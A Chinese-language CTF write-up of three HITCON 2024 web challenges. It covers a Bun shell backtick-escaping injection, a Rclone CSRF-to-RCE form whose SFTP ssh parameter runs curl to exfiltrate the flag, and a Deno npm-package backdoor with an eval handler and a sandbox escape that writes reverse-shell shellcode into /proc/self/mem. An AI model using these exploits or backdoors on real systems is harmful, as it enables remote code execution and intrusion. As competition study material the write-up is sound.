HitconCTF2024复现
LastUpdate: 2024-07-23
Echo as a Service
涉及bun shell 命令执行逃逸,要求运行 /readflag give me the flag 。
else if (url.pathname === "/echo") {
const msg = (await req.formData()).get("msg");
if (typeof msg !== "string") {
return new Response("Something's wrong, I can feel it", { status: 400 });
}
const output = await $`echo ${msg}`.text();
return new Response(output, { headers: { "Content-Type": "text/plain" } });
}
这里拼接的模板变量 ${msg} 内容会被转义从而防止命令注入,好在 bun 是开源的我们可以查看它的源码 https://github.com/oven-sh/bun/blob/bun-v1.1.8/src/shell/shell.zig
/// Characters that need to escaped
const SPECIAL_CHARS = [_]u8{ '$', '>', '&', '|', '=', ';', '\n', '{', '}', ',', '(', ')', '\\', '\"', ' ', '\'' };
/// Characters that need to be backslashed inside double quotes
const BACKSLASHABLE_CHARS = [_]u8{ '$', '`', '"', '\\' };
这里可以发现使用反引号并不会转义字符串,查看 bun 1.1.9 的修复提交也可以看到这个利用点,因此我们可以执行 `env` ,但是不能执行`/readflag give me the flag`因为包含了空格它就会转义反引号使得命令无法执行,使用 \t 可以绕过但遗憾的是bun shell 不会把 \t 作为参数的分割符。
import { $ } from "bun";
let cmd1 = "`whoami`"
let cmd2 = "`whoami `"
console.log($.escape(cmd1));
console.log($.escape(cmd2));
await $`echo ${cmd1}`;
await $`echo ${cmd2}`;
// bun test.js
`whoami`
"\`whoami \`"
mysid
`whoami `
经过fuzz测试发现可以使用 mysid1<exp.sh 的方式写入文件,这算是 bun shell 的特性,所以我们可以写入 /readflag\tgive\tme\tthe\tflag 再用 sh 执行。
cmd = ['/readflag\tgive\tme\tthe\tflag1<exp.sh', '`sh<exp.sh`']
[print(__import__("requests").post("http://eaas.chal.hitconctf.com:30951/echo", data={'msg': cmd[x]}).text) for x in range(2)]
RClonE
涉及CSRF,Rclone后台RCE,Rclone 用于管理和同步云存储服务和本地文件系统之间的文件。它支持许多不同的云存储提供商,可以执行文件传输、同步、备份、加密等操作,题目 bot 会登录 Rclone 后台并且访问我们的 url 我们需要考虑的是如何通过 CSRF 实现 RCE。
查看文档 https://rclone.org/ 可以找到很多有意思的功能,比如 https://rclone.org/sftp/#shell-access SFTP 远程访问 shell,https://rclone.org/rc/#core-command 运行 rclone 终端命令,https://rclone.org/docs/#configuration-encryption 配置解密脚本等等,这里就配置 SFTP 连接执行命令并且触发连接操作。
编写EXP
<form action="http://rclone:5572/config/create" method="POST" id="cfgform" target="_blank">
<input name="name" value="yy" />
<input name="type" value="sftp" />
<input name="parameters" />
<button type="submit">Create</button>
</form>
<script>
cfgform.parameters.value = JSON.stringify({
ssh: `bash -c "curl http://bot:8000/submit -d url=http://${location.host}/flag?flag=$(/readflag)"`
})
</script>
<form action="http://rclone:5572/operations/list" method="POST" id="listform" target="_blank">
<input name="fs" value="yy:" />
<input name="remote" value="" />
<button type="submit">Do List</button>
</form>
<script>
cfgform.submit()
setTimeout(() => {
listform.submit()
}, 1500)
</script>
Truth of NPM
涉及Deno.readDir non-UTF-8 skip,FLI, Deno sandbox escape,题目部署了一个deno Web 服务提供查询 npm 包大小的功能,它会先导入一个选手指定的npm 包、计算包大小后删除所有文件来实现这个功能。
// 导入任意 npm 包
const module = await import(`npm:${packageName}/package.json`, {
with: {
type: 'json'
}
})
// 计算并删除文件
async function* walkPackageFiles(npmDir: string) {
for await (const entry of fs.walk(npmDir)) {
if (entry.isDirectory) continue
// registry.json is generated by deno
if (entry.name !== 'registry.json') {
yield entry
}
}
}
// omitted...
for await (const entry of walkPackageFiles(npmDir)) {
await fs.remove(entry.path)
}
async function queryPackage(packageName: string) {
// omitted...
let totalSize = 0
const ps = await asyncMapToArray(walkPackageFiles(npmDir), async entry => {
const { size } = await Deno.stat(entry.path)
totalSize += size
return Deno.remove(entry.path)
})
// omitted...
}
存在任意文件包含漏洞,接下来我需要找到一个方法写入文件,rateLimiter(1) 应该是防止条件竞争,这里查看源码 fs.walk 调用了 Deno.readDir 方法,而该方法会忽略名称包含非 utf-8 字符的文件https://github.com/denoland/deno/pull/4004,所以我们可以发布一个包含 exp�.tsx 后门的 npm 包,接着导入并且访问 ../../path/to/package/exp%ff 包含恶意文件 RCE。
const app = new Hono()
app.use(rateLimiter(1))
app.use(async (c: Context) => {
const page = c.req.path.slice(1) || 'index'
try {
const { handler } = await import(`./pages/${page}.tsx`)
return handler(c)
} catch (err) {
return c.html(`<h1>500 Internal Server Error</h1><pre>${err.message}</pre>`, 500)
}
})
// exp�.tsx
export const handler = async c => {
const body = await c.req.text()
return c.text(eval(body))
}
不过到这里还不能拿 flag,因为 Deno 不同与 Node.js,它在完全隔离的沙箱中执行 JavaScript 代码同时会阻止任何程序访问文件系统、网络、环境变量等,题目使用的版本是比赛当时最新的 deno 1.45.2。对此找到了 https://nvd.nist.gov/vuln/detail/CVE-2024-34346 不过这个漏洞在 1.43 被修复默认禁止访问 /dev,/proc 和 /sys,查看修复提交 https://github.com/denoland/deno/blob/e0cfc9da39e1d05e6a95c89c41cff8ae34fcbd66/runtime/permissions/lib.rs#L1786-L1834 注意到只是匹配路径字符串,测试可以使用软链接绕过,最后通过 ASLR 读取并编写 shellcode 绕过沙箱。
// exp.js
try {
Deno.removeSync('/tmp/self')
} catch {}
Deno.symlinkSync('/proc/self', '/tmp/self') // bypass https://github.com/denoland/deno/security/advisories/GHSA-23rx-c3g5-hv9w
const maps = Deno.readTextFileSync('/tmp/self/maps')
const first = maps.split('\n').find(x => x.includes('deno'))
const offset = 0x401c2c0 // p &Builtins_JsonStringify-0x555555554000
const base = parseInt(first.split('-')[0], 16)
const addr = base + offset
console.log('&Builtins_JsonStringify', addr.toString(16))
const mem = Deno.openSync('/tmp/self/mem', {
write: true
})
/*
from pwn import *
context.arch = 'amd64'
sc = asm(shellcraft.connect('127.0.0.1', 3535, 'ipv4') + shellcraft.dupsh())
print(list(sc))
*/
const shellcode = new Uint8Array([
106, 41, 88, 106, 2, 95, 106, 1, 94, 153, 15, 5, 72, 137, 197, 72, 184, 1, 1, 1, 1, 1, 1, 1, 2, 80, 72, 184, 3, 1,
12, 206, 126, 1, 1, 3, 72, 49, 4, 36, 106, 42, 88, 72, 137, 239, 106, 16, 90, 72, 137, 230, 15, 5, 72, 137, 239,
106, 2, 94, 106, 33, 88, 15, 5, 72, 255, 206, 121, 246, 106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80,
72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230,
49, 210, 106, 59, 88, 15, 5
])
mem.seekSync(addr, Deno.SeekMode.Start)
mem.writeSync(shellcode)
JSON.stringify('pwned')
- 发布包含exp�.tsx的 npm 包
- 导入恶意npm包: curl 'http://localhost:8000/query?package=发布的包名'
- 利用后门执行 exp.js RCE: curl --path-as-is 'http://localhost:8000/../../deno-dir/npm/registry.npmjs.org/发布的包名/发布的版本/exp%ff' -T exp.js